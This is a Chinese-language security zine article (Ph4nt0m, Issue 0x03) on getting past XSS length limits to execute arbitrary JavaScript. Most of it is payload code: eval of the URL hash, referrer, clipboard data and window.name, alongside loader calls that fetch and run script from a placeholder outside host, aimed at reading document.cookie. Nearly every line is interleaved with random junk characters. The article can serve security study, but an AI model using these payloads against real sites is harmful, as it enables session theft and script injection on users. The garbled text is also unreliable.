==Ph4nt0m Security Team==
0 c' ^& c8 _& G" D& H" K! U7 n ; q5 y6 N$ S3 Z& n1 N' M
Issue 0x03, Phile #0x04 of 0x07; \ P5 [6 V& I3 P
7 ^/ A6 c' e4 F+ M
% V8 f, K% V: j8 ]+ g|=---------------------------------------------------------------------------=|
* p8 H5 M) E+ V% ~|=-------------------=[ 突破XSS字符数量限制执行任意JS代码 ]=-----------------=|* N3 m- I* d0 z# x! L9 n
|=---------------------------------------------------------------------------=|: h* p( F$ T' ?! k$ X0 m
|=---------------------------------------------------------------------------=|' L/ J* \. t$ M+ w0 @ Q0 c
|=------------------------=[ By luoluo ]=---------------------------=|
# c# y) H; B; S2 _$ ||=----------------------=[ <luoluo#ph4nt0m.org> ]=------------------------=|8 {; F2 T | {" ^$ H0 l' s) \
|=----------------------=[ <luoluo#80sec.com> ]=------------------------=|$ `. O5 c/ h C* B/ F4 P
|=---------------------------------------------------------------------------=|
+ c: X% e, l5 {9 Y
, I' q9 l S7 D7 s' q+ p( D) Y1 b5 N, Y7 v
[目录]
! L9 p/ V6 e% g! O' Z* N$ Z: H& [' [) J) U
1. 综述
1 |5 O7 y) V- l9 a2 U( [! Q! `0 U2. 突破方法
) V- ~- J7 H5 v0 h @( Z 2.1 利用HTML上下文中其他可以控制的数据
' v% V/ H; L6 h; k+ `* a6 v( b 2.2 利用URL中的数据0 a9 |$ w8 w' [! R" k" h
2.3 JS上下文的利用
+ v* e3 i6 X* s, c 2.4 利用浏览器特性在跨域的页面之间传递数据
6 T2 G* u- E; L- X2 D9 a3 X) Z 2.4.1 document.referrer5 o4 s" Z# u% i( j, J' T) P
2.4.2 剪切板clipboardData
5 z8 i3 [4 V: `; U, \* j 2.4.3 窗口名window.name
! ^% {7 G9 @/ P. T ?6 W' u( } 2.5 以上的方式结合使用+ Q0 s1 M* f9 h
3. 后记 s9 ^/ S: @' e+ R& V0 E( n% y
4. 参考
a+ D9 L( j# _+ j5 Y% U5 ^ E- V, _3 @! o/ k
. b- L* i3 P8 ?一、综述
2 O C# u0 }% I3 h
' p6 W9 p+ O0 r( p 有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主2 f2 E7 v! C0 e8 {, ]4 e1 a g# C. K
要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执
$ C; Q) d9 k! B' G: L行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全4 q2 N' E+ N; i. ?
人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些
( u" |* K: u) T) e5 Z. U3 |5 c+ H: L极端情况下的XSS漏洞。8 N7 [: v- l" R9 q& u, J
% g7 M( r6 T- {& p 突破的方法有很多种,但是突破的思想基本都一样,那就是执行可以控制的不受限制的数7 L( p) e& V+ n. g2 l, g
据。1 n. ~! g% z1 s! R, x- A! X- @7 p
/ K* _5 N' [/ [
E: a8 c2 X" \' G( {$ ]. |7 h* t二、突破方法
A o. {6 H: u% V }7 L8 N
0 ~9 ?: Q9 l& g5 w4 u2.1 利用HTML上下文中其他可以控制的数据2 U; e2 e9 J1 T
$ Y) K$ a6 i# i% M$ G }/ _
如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据,那么可以通过JS获得该数+ A/ d1 z; y" E
据通过eval或者document.write/innerHTML等方式执行该数据,从而达到突破XSS字符数量限
0 V- x1 E! t1 v- _/ `9 B制的目的,下面例子假设div元素的内部数据可以控制,但是该数据已经被HTML编码过:1 ]0 q5 V( O0 Q9 S7 {
6 V( h3 I$ d9 j1 g% I$ ?
--code-------------------------------------------------------------------------
$ R" q, X# r# _, o<div id="x">可控的安全的数据</div>
7 Y8 j _: C1 I( u0 y: v<limited_xss_point>alert(/xss/);</limited_xss_point>
5 e% E& l2 g1 O" p. _$ \2 L0 D-------------------------------------------------------------------------------
1 x9 E# M: s/ K
! l' x) ~- d; T) O 由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape
4 g9 G7 f Q$ n6 D编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据:
& ^1 t0 M2 y5 x' t& G" C% M9 Z" ~/ H) B0 z9 A5 K5 s
--code-------------------------------------------------------------------------
4 _! P2 Y1 v; D* T) P<div id="x">alert%28document.cookie%29%3B</div>- c$ ~ j" H% k' E! E$ Y m
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
1 R0 a+ o+ p& O-------------------------------------------------------------------------------
" n' q8 k' e) [) B; r0 U$ e) ~* O B
5 n1 V; z- w! A* W长度:28 + len(id)' }( T% h; j6 e, H" A0 B
1 r/ A9 e1 z4 G' M! x' B
由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。
6 H( ^& R' s) e7 o$ `; u; K* v" W& i/ O6 f
) f3 f& U: ^3 H( D1 z8 j
2.2 利用URL中的数据
# H7 L2 Z3 Y; o! p1 a8 K" W# T1 ?: D' U
如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可% A( d- |* A. J& c {/ |$ k. Q
控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过
+ N, M3 k$ c( D7 Udocument.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到
4 ?1 g9 m a. A" ~+ y* u$ H最后:
; F0 m& S" t6 T4 r% E+ o0 ~$ \/ G8 c, I, M+ ?
--code-------------------------------------------------------------------------, f& ? \5 q A. |0 G! U
http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)
! r; G5 S, b. L" k6 D5 |/ o( X( P
<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>8 j. a* l! l5 D4 n" d4 M
-------------------------------------------------------------------------------! {0 ?. Z% B9 j' _
% D/ X: B }: I% M" `长度:30
2 b# J: G- x( e" V
: ^, u( q: M! ]4 f$ M--code-------------------------------------------------------------------------1 Z- t8 e" Y0 I4 ^2 Z/ V! s6 z
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
$ |- K; z! k3 t- D$ P; B# o-------------------------------------------------------------------------------
" y8 f7 C: x) b5 c f- ] e. a6 @5 O1 ^1 ?
长度:31! y& P! f" J+ ^: L$ e5 m
& e* W, n9 i, x; Y$ F$ G! r 上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册
- V9 L4 ?# B* J6 t: W的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个2 V2 n5 l# e5 Z) Y
字符:
e; \$ E7 U9 I3 a# u
8 Y4 M: J8 i. P6 Z( u--code-------------------------------------------------------------------------( j8 U" t% L7 X1 s
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
+ @* I# V4 O. c3 r% G, v% s-------------------------------------------------------------------------------5 W( s* E2 e9 y) t$ V
4 s0 E$ ~& ]9 E& j% c3 x8 ~
长度:29
' {0 u' b0 m- _
W# z9 W% e2 X" V+ f- @--code-------------------------------------------------------------------------
2 b8 E, z& @, c o& G- z: x<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>* T4 P% ^$ p' u6 R( J# K' `
-------------------------------------------------------------------------------
! G9 S" y2 \; V& ]) v
' N7 `# C+ c( Q' F3 ]; S长度:300 p) Q+ U* U F9 @6 G; e
' y$ f) B' P/ g
那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现
$ S( m" m A# @6 N# s有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获
4 g6 L0 d* ], t1 x- r5 O得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:% x; y/ G! _) x" s: @
: a! x4 B7 J5 m- o+ W3 D7 e--code-------------------------------------------------------------------------
- t, @' A& G/ w# ` I5 uhttp://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)1 j/ G: C% H) o- X
) O% j; }8 {+ t5 E<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point> M9 }8 Z" G4 Q
-------------------------------------------------------------------------------" u; Z5 T' s; M8 f
. L8 p' _. V" `. P- U3 o9 X! B; S长度:297 o. M" w! s3 t2 o1 E% P; b4 v) X
2 c: ~. [- N: _
这样比上面的例子又少了一个字符。那么还可以更短么?; m! v1 K- v ?
9 ]3 _0 h! L& |# ]8 H
v3 y" i" k! n* s" U9 l2.3 JS上下文的利用
* m- _6 j: l5 m0 R( N4 ]2 ]9 W6 A3 M( k d' ~
为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:
. @/ i1 w6 x& ]4 W
, m0 O O6 A m0 }; ]String.fromCharCode, {9 u% @$ ~8 d e5 N& {
getElementById
, t7 |( t7 i* g- x2 {7 MgetElementsByTagName9 a8 Y4 K6 B! i- C' ]- P
document.write
% ~" o6 k9 I& g% f' GXMLHTTPRequest
0 D, Q6 F0 n# p3 d...
' ^4 h7 S8 a# A: Y9 T* `& e& U, ?5 S/ r
就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的% o8 g x% U! O
简化函数,最经典的例子就是:
D. }$ p& ?9 v: f0 U1 m3 I N x6 F0 L$ c. l
--code-------------------------------------------------------------------------) v( Q4 \) T, [6 m7 ^
function $(id) {
* w9 o6 Z& c* h$ Z4 u' W) L7 V: m/ E return document.getElementById(id);* R8 N' C j/ u) b
}
% W* A/ u8 A8 n1 T" p& K-------------------------------------------------------------------------------% D/ E" z- S& s* F) P0 ~& @
+ Z$ T1 r' b: T& f 这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是
9 p2 y: ^" p5 K5 Z7 T D最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:
8 Y% E3 j4 O: R9 _* @ j' Q& P3 U4 y3 Q& x- d
--code-------------------------------------------------------------------------* O6 b2 r8 }" d% h
function loads(url) {5 t5 ?3 o9 ^# I7 p% U5 C+ R4 w
...* P2 z n+ e. c A
document.body.appendChild(script);
3 \! f$ I8 P: Z' G$ h( d}; Z- s" n, j8 H K$ m9 Z
( a7 `6 d0 s3 H/ r. A<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point> A; T" }2 p6 _! d
-------------------------------------------------------------------------------% m9 L/ m; A2 ^: u
" h% q q3 S. z! h7 ~! h
长度:len(函数名) + len(url) + 5
) c: N( b5 J t1 s
2 e/ C+ j* w- t8 ^ 当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:
. I% n4 d8 e: p$ Y6 ?. n. G. I5 n6 x4 O9 B; q# Q
--code-------------------------------------------------------------------------
- U" `& A/ z' s- @4 r1 B# }3 Zfunction get(url) {
4 S. W* X- E$ j ...
1 o. j" ?: b" s0 X9 w; O return x.responseText;
+ C3 y8 K. Y) t; j0 l' A$ H}
m. c& b _7 c! `# q" e. R% t) O* l1 [- K4 C8 s* m
<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>1 |3 z. y8 I- X
-------------------------------------------------------------------------------9 b- j" S5 ~& h+ r' K( ?
+ ] _; M% f' m8 | U ]9 D2 O长度:len(函数名) + len(url) + 11
! V. ?# _/ Y. s, x5 |- n7 ^) Y- _
" W1 A. n. g: o g1 O8 L* B 道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如: e! [! [/ U( m: [1 e5 k% ]5 [+ U
& ^0 v0 A) ]# n- I; D
JQuery
$ K$ D/ g8 f1 j8 XYUI
8 g' _, S3 t" {8 L...& w7 A% y! h9 @6 I
; O# Y% N3 x! T2 G
综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我 z2 B3 v0 m# [2 z
们的代码,进而突破长度限制执行任意代码。
% _/ p3 O1 K: O/ O' e" r
8 I j" F t) @8 {5 K
" M$ ?. }1 y' [( ?" f2.4 利用浏览器特性在跨域的页面之间传递数据
& ?% E7 W$ k/ J3 l
. T6 n8 ~; q- ~4 X' ^" P5 W7 F 虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的
2 V) C5 d5 L- L' [$ o6 E# z E方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。; i2 {+ _* [! _; ~0 E4 Q6 k
6 I$ h7 [/ N( _* W4 H# y6 {5 n2.4.1 document.referrer x/ G1 O: |" R" r; e
' p) J1 _- @6 f# P 攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了3 g& E! N( H$ Y6 x/ L
Payload,被XSS的页面通过referrer获取相关代码执行。
5 F4 [4 \9 Y; W8 t3 D% r+ A3 f+ a1 i! M3 B! g
攻击者构造的的页面:
`. g9 c. t* T2 u9 i7 J2 h5 V: Z
4 e3 m& e. q8 ~1 ?( V/ w--code-------------------------------------------------------------------------2 }! d7 k+ T0 m7 J, w+ L
http://www.a.com/attack.html?...&alert(document.cookie)
, L$ y# M' o# E) j( R! C' N3 q% \. d1 a# O3 w. s, \$ ]
<a href="http://www.xssedsite.com/xssed.php">go</a>4 ?: v# A I5 l( V
-------------------------------------------------------------------------------
2 Z. B9 z4 o3 y- |& t0 v1 z$ j T8 ?1 Q
被XSS的页面:
- j$ l5 P9 x2 ~. m+ Z' e: ~
* l* C |, n5 n: y) y$ U; j) @--code-------------------------------------------------------------------------
. d- E3 v( A, [8 y<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>
7 B% T& S2 V% I4 D-------------------------------------------------------------------------------
$ s5 \- w2 ]3 ^/ F6 p0 G+ C; g
! h* M% Q. v1 F长度:34% Z) q$ Y* q( H: V0 p0 |
! r0 \3 X5 q3 t! k4 S! c4 ?
这种方式利用上还有一些问题,如果使用location.href或者<meta http-equiv=refresh>: @2 Z5 a$ N( i& U/ R. q1 N
实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式, U% O1 w* V k, H
比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer:% Q; G5 ?& M) L1 p/ L' {, B! d0 N
' V5 g: u4 a, t) A% Z5 W, t
--code-------------------------------------------------------------------------
5 t8 q. D y) A5 z4 P, t0 u<script type="text/javascript">: U) E4 ]. D& e7 m9 X: p
<!--" b$ A5 N: H0 f3 u3 @/ S/ ^
window.onload = function(){
4 Z- y. P( G; m& y P' ^3 f# F var f = document.createElement("form");
9 M) e6 m W% r4 l( W f.setAttribute("method", "get");
! Z, D% q7 C$ y& v5 A f.setAttribute("action", "http://www.xssedsite.com/xssed.php");
0 _3 v" e* o' q7 p document.body.appendChild(f);
: J* i: Q% g. j% L f.submit();0 F* X) ^8 n( \) S2 j8 n: O$ o' M
};0 }. W* ?* l- ]1 w; m. i
//-->
" G$ Z( E& m; p</script>
0 j4 y8 }+ C2 k$ z \, _2 }8 _------------------------------------------------------------------------------- E0 p8 H6 ~ B ^- w
7 m; k$ B' s/ I; y M2 t
# d" T7 z/ i6 l2 j4 T2 L8 N2.4.2 剪切板clipboardData
2 v5 x( C: V i' i- H" F0 n) ^" T( M
攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获
, q3 \( K- Y2 m- M5 _1 n" r取并执行该数据。" v8 \5 Z' Z8 K& U) X2 l
" Q, c0 G% k/ I) h$ r- V" J: k) y
攻击者构造的页面:
- d8 U, s5 G& K& y0 ?; q! I
9 ]$ }- o. _ `. L2 ?# c--code------------------------------------------------------------------------- v" P0 x) [" I) i
<script>( `# u2 q+ b. L6 v; E
clipboardData.setData("text", "alert(document.cookie)");- T+ l: l/ g0 }& a# D& z
</script>
9 ^# j* N8 r2 Q# U) a-------------------------------------------------------------------------------
8 |$ q- c, j9 T: N* x8 n/ O: v$ B; e
被XSS的页面:
/ P8 Y+ @* }: O v8 n+ n5 y
, x1 C! V! X$ R7 `& i0 I9 l P& V; o--code-------------------------------------------------------------------------: L" p) W' b. E* r' h7 r; Q+ D
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
$ T: g( P! x& P-------------------------------------------------------------------------------
, [- l1 X5 |' W4 A7 v
; H/ ~2 s. M. O$ ?" i4 D! D长度:36' R, x5 Q6 r* [1 l, K m1 E
, b3 g! d6 d. ~# X+ p8 A3 n8 p
这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。$ ?+ `" y: h8 g
& N2 c& [) T4 B; @1 M% |6 J
3 M" b7 X4 ^6 ?1 a* a* W2.4.3 窗口名window.name
! k/ b6 `! ~6 L1 m
: B4 a2 N8 o/ ~: f% D* c# M4 ` 这是一个很少被用到的特性,在研究同源策略时就注意过这个属性,它是可以跨域传递数
; i! W! D8 G2 c& N7 O据的,但是这个特性本身并不是漏洞。
A1 K3 P$ T( h1 _; P+ o4 J0 K/ }! T4 P! Y2 a4 F; E) l
如果仔细研究过window.open这个方法,会发现一个不常用的第二个参数,这个则是设置
1 @& R) e( c: p窗口名,用于指定target窗口,如果不存在的话则创建新的子窗口,并设置子窗口的name。当
W" C( v9 g8 m( K+ K# T4 H我想打搜window.open时一阵狂喜,喜的是window.name这个属性是window对象的成员,那么只
$ Q8 j9 }) I. m4 u需要name就可以引用该属性,但是测试时却发现window.open方法对于第二个参数进行了严格' l3 k5 y o/ _; Y
的检查,只允许数字字母以及下划线的组合,禁止特殊字符进入,那么这种方式就没法写入JS0 Y0 A( k! Q6 h k" K# M. O( y
或者VBS。! a* _, o- h4 [+ N' W
6 E: H2 M+ \" M& q) _8 d$ W3 W 但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符
4 i1 [0 N3 {1 g9 c/ ]2 q限制,然后直接跳转到被XSS的页面,通过name属性传递Payload过去执行:
- z2 K! w) X4 R W) D# Y. R
! j } `0 f8 q4 J0 j* I/ \攻击者构造的页面:
3 _1 S5 p0 a/ ]5 T1 ?5 }6 ^5 F0 f) v' n0 e. Z; {2 E! \- F: s5 T
--code-------------------------------------------------------------------------
9 A% K& o" F+ D! [; x0 T8 v/ U<script>
7 `1 w' B ~ Gwindow.name = "alert(document.cookie)";. I, s% E4 K' x' b, [
locaton.href = "http://www.xssedsite.com/xssed.php";
, k7 ]4 T+ P( B; y, j</script>
" }" q: x" J& ~8 `) o-------------------------------------------------------------------------------; n7 N% f9 G: A5 Y0 F. @
& ^# l5 j& a( o( h& n* P' }被XSS的页面:+ m* B3 H; j6 H+ y1 K- x# E0 J% `
J5 o6 I9 _/ k: m--code-------------------------------------------------------------------------7 t- G2 V8 \! U! R3 ~
<limited_xss_point>eval(name);</limited_xss_point>9 r6 L( |( ^, g& B8 L
-------------------------------------------------------------------------------
! X5 [4 B# H' g( I- t. u R3 D
' D0 |" o' R+ K0 ^长度:11& F" [- r* p9 S7 y( \2 ^
2 k, S1 b! k+ a& s( F( H 这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思6 i' U, B8 U- @7 R$ Y2 w1 T! D4 L4 t
的技巧,这个技巧的发现也是促成本文的直接原因。% G- S" X @; d: v4 N3 A4 L
5 D) p% ~5 d7 G, _! w window.name的特性还有其他一些有趣的应用方式,这个方面的话题以后可以专门写篇文
6 A0 Z- D9 ]. B3 M3 m8 i! A! w章来探讨。
) Q* l. n. y) }) y
) E3 u! Z6 I4 h" J
! ~0 H0 c% o0 o6 I. C9 [# r2.5 以上的方式结合使用6 `& M5 W$ b0 ^7 R5 W% d
6 Z1 i" ?6 h, A+ x* A" ]8 _
以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况' M* `6 o, o6 |% W8 s
中,灵活的组合上面的方法可能会起到奇效。
% Z& N) O/ ]5 u6 A e
X, g) `3 T% {" u/ c4 z
2 S$ u5 e- T2 \# g* k6 q9 ^三、后记
& {8 V8 F7 J5 E0 e1 O, Q+ z9 Y, _: L8 I% \
JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的
. z3 A+ k) D! J4 A5 ^6 x乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎
9 v' Q5 X& J- t( R/ N) r" _+ u和我交流!
) d7 F. {- @8 S" L- x
, K& ~- L1 M$ a4 y" P 感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!# A' ?2 q3 g$ r$ p3 b0 X7 b9 S
2 x( o- S. S2 F0 n5 K; j
本文是纯粹的技术探讨,请勿用于非法用途!
4 q# I. v. n. C0 G6 }
* O& `) X2 K' ?9 b* K8 S6 Q
. E- a$ d! o3 [5 Z/ I1 \& ~* R4 w* x$ V四、参考
9 a4 p& D2 q' M5 E! P$ a
8 ]3 E( W+ l D9 s4 g- I* nhttp://msdn.microsoft.com/en-us/library/aa155073.aspx
% {0 I5 z4 r h5 C" r/ J2 H% J8 u/ ]; ~1 w6 Z9 m1 T+ r
-EOF- |